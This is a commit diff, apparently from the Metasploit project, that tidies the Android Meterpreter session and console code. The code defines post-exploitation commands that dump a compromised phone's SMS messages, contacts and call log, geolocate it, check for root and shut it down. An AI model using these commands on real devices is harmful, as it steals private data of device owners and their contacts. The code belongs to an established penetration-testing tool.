Skip to content

Commit 9243250

Browse files
committed
Merge pull request #5 from jvennix-r7/android_ext3
Final-round of code tweaks. All commands working well.
2 parents 8766faa + dbaa377 commit 9243250

File tree

3 files changed

+15
-25
lines changed

3 files changed

+15
-25
lines changed

lib/msf/base/sessions/meterpreter_android.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,22 +14,18 @@ module Sessions
1414
###
1515
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
1616

17-
def supports_ssl?
18-
false
19-
end
20-
def supports_zlib?
21-
false
22-
end
2317
def initialize(rstream, opts={})
2418
super
2519
self.platform = 'java/android'
2620
end
21+
2722
def load_android
2823
original = console.disable_output
2924
console.disable_output = true
3025
console.run_single('load android')
3126
console.disable_output = original
3227
end
28+
3329
end
3430

3531
end

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def on_session(session)
6060
end
6161

6262
if session.platform =~ /android/i
63-
if (datastore['AutoLoadAndroid'])
63+
if datastore['AutoLoadAndroid']
6464
session.load_android
6565
end
6666
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb

Lines changed: 12 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,6 @@ module Ui
1515
class Console::CommandDispatcher::Android
1616
include Console::CommandDispatcher
1717
include Msf::Auxiliary::Report
18-
19-
def framework
20-
client.framework
21-
end
2218

2319
#
2420
# List of supported commands.
@@ -35,18 +31,17 @@ def commands
3531

3632
reqs = {
3733
'dump_sms' => [ 'dump_sms' ],
38-
'dump_contacts' => [ 'dump_contacts'],
39-
'geolocate' => [ 'geolocate'],
40-
'dump_calllog' => [ 'dump_calllog'],
41-
'check_root' => [ 'check_root'],
34+
'dump_contacts' => [ 'dump_contacts' ],
35+
'geolocate' => [ 'geolocate' ],
36+
'dump_calllog' => [ 'dump_calllog' ],
37+
'check_root' => [ 'check_root' ],
4238
'device_shutdown' => [ 'device_shutdown']
4339
}
4440

41+
# Ensure any requirements of the command are met
4542
all.delete_if do |cmd, desc|
4643
reqs[cmd].any? { |req| not client.commands.include?(req) }
4744
end
48-
49-
all
5045
end
5146

5247
def cmd_device_shutdown(*args)
@@ -55,7 +50,7 @@ def cmd_device_shutdown(*args)
5550
device_shutdown_opts = Rex::Parser::Arguments.new(
5651
'-h' => [ false, 'Help Banner' ],
5752
'-t' => [ false, 'Shutdown after n seconds']
58-
)
53+
)
5954

6055
device_shutdown_opts.parse(args) { | opt, idx, val |
6156
case opt
@@ -98,15 +93,15 @@ def cmd_dump_sms(*args)
9893
end
9994
}
10095

101-
smsList = Array.new
96+
smsList = []
10297
smsList = client.android.dump_sms
10398

10499
if smsList.count > 0
105100
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
106101
begin
107102
info = client.sys.config.sysinfo
108103

109-
data = String::new
104+
data = ""
110105
data << "\n=====================\n"
111106
data << "[+] Sms messages dump\n"
112107
data << "=====================\n\n"
@@ -191,15 +186,15 @@ def cmd_dump_contacts(*args)
191186
end
192187
}
193188

194-
contactList = Array.new
189+
contactList = []
195190
contactList = client.android.dump_contacts
196191

197192
if contactList.count > 0
198193
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
199194
begin
200195
info = client.sys.config.sysinfo
201196

202-
data = String::new
197+
data = ""
203198
data << "\n======================\n"
204199
data << "[+] Contacts list dump\n"
205200
data << "======================\n\n"
@@ -273,7 +268,6 @@ def cmd_geolocate(*args)
273268
print_line("\tLongitude: #{geo[0]['long']}\n")
274269
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
275270

276-
277271
if generate_map
278272
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
279273
print_status("Generated map on google-maps:")
@@ -312,7 +306,7 @@ def cmd_dump_calllog(*args)
312306
begin
313307
info = client.sys.config.sysinfo
314308

315-
data = String::new
309+
data = ""
316310
data << "\n=================\n"
317311
data << "[+] Call log dump\n"
318312
data << "=================\n\n"
@@ -368,7 +362,7 @@ def cmd_check_root(*args)
368362
is_rooted = client.android.check_root
369363

370364
if is_rooted
371-
print_status('Device is rooted')
365+
print_good('Device is rooted')
372366
elsif
373367
print_status('Device is not rooted')
374368
end

0 commit comments

Comments
 (0)